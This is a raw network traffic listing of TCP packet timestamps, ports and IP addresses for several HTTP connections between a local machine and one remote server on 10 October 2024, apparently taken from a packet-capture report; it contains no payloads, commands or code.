Oct 10, 2024 21:01:54.432112932 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432172060 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432225943 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432254076 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432279110 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432281017 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432297945 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432307959 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432331085 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432351112 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432370901 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432421923 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432589054 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432640076 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432663918 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432735920 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432739973 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432796001 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.432841063 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.432868004 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.436582088 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.436996937 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.437092066 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.437333107 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.437397957 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.437526941 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.437733889 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.437764883 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.437792063 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.437839031 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.438041925 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.438221931 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.438252926 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.438386917 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.438412905 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442373991 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442401886 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442429066 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442601919 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442627907 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442656994 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442703009 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442729950 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442759037 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442785025 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.442816019 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.443087101 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.443113089 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.443140030 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.443170071 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.443196058 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.749500990 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.758635998 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.768277884 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.768381119 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.942289114 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.947432995 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.947541952 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.947999954 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.953141928 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.412399054 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.413598061 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.413938046 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420344114 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420630932 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420687914 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420775890 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420803070 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420828104 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420830011 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420849085 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420857906 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420871973 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420902967 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420907021 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420934916 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420953989 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420959949 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420977116 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.420986891 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.420998096 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.421031952 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.426924944 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.426987886 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427253008 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.427300930 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427573919 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.427623034 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427715063 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.427742004 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.427761078 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427784920 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427859068 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.427886009 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.427907944 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427927971 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.427989960 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.428016901 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.428055048 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.428082943 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.428139925 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.428196907 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.433743954 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.433820963 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.434046984 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.434098005 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.434353113 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.434365034 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.434520960 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.434674978 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.434832096 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.434972048 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435125113 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435137033 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435148001 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435266018 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435277939 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435288906 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435425997 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.435437918 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440419912 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440432072 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440443039 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440541983 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440553904 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440565109 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440577030 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440700054 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440711975 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440846920 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440859079 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440870047 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.440882921 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.723171949 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.731225967 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.736759901 CEST	80	49776	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.736824036 CEST	49776	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.864931107 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.870769978 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:55.870856047 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.871367931 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:55.876507044 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.338388920 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.339226961 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.339498043 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.344378948 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344707966 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344736099 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344788074 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344815016 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344841003 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344866991 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344892979 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.344897032 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344924927 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344953060 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.344954967 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.345009089 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.349246979 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.349456072 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.349893093 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350028992 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350055933 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350083113 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350090981 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350138903 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350167990 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350209951 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350215912 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350209951 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350245953 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350276947 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350295067 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350306034 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350322962 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350349903 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.350393057 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350393057 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.350440979 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.354574919 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.354885101 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.355381012 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355426073 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355469942 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.355475903 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355504036 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355802059 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355851889 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355967045 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.355994940 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356020927 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356074095 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356101036 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356127977 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356153011 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356182098 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356211901 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.356237888 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.360022068 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.360393047 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.360419989 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.360445976 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.360676050 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.639301062 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.647227049 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.653597116 CEST	80	49777	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.653666973 CEST	49777	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.842972040 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.848565102 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:56.848647118 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.849018097 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:56.854053974 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.296134949 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.307174921 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.307362080 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312087059 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312391043 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312438965 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312443972 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312465906 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312489033 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312496901 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312508106 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312542915 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312563896 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312607050 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312612057 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312637091 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312652111 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312679052 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312684059 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312711000 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312725067 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312740088 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.312752008 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.312789917 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.317384958 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.317431927 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.317796946 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.317825079 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.317842960 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.317850113 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.317867041 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.317881107 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.317899942 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.317929983 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.317943096 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.318007946 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.318012953 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.318033934 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.318034887 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.318049908 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.318063974 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.318089962 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.318126917 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.322376966 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.322437048 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.322808981 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.322968960 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323086023 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323169947 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323231936 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323347092 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323437929 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323486090 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323554993 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323653936 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323679924 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323725939 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323751926 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323798895 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323824883 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323901892 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323949099 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.323977947 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.324043989 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.324126959 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.324152946 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.324182987 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327197075 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327224016 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327301979 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327349901 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327375889 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327512980 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.327539921 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.631694078 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.641220093 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.646718025 CEST	80	50334	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.646783113 CEST	50334	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.769644022 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.777340889 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:57.777430058 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.777790070 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:57.782597065 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.239931107 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.241307974 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.241559029 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246392965 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246474981 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246507883 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246536970 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246556044 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246566057 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246608019 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246648073 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246675968 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246701956 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246701956 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246718884 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246752024 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246757984 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246778011 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246803045 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246804953 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246829987 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246830940 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.246857882 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.246881962 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.251494884 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.251554012 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.251641989 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.251696110 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.251823902 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.251851082 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.251876116 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.251877069 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.251915932 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.251923084 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.251929045 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.251974106 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.252022982 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.252087116 CEST	50337	80	192.168.2.4	104.21.59.199
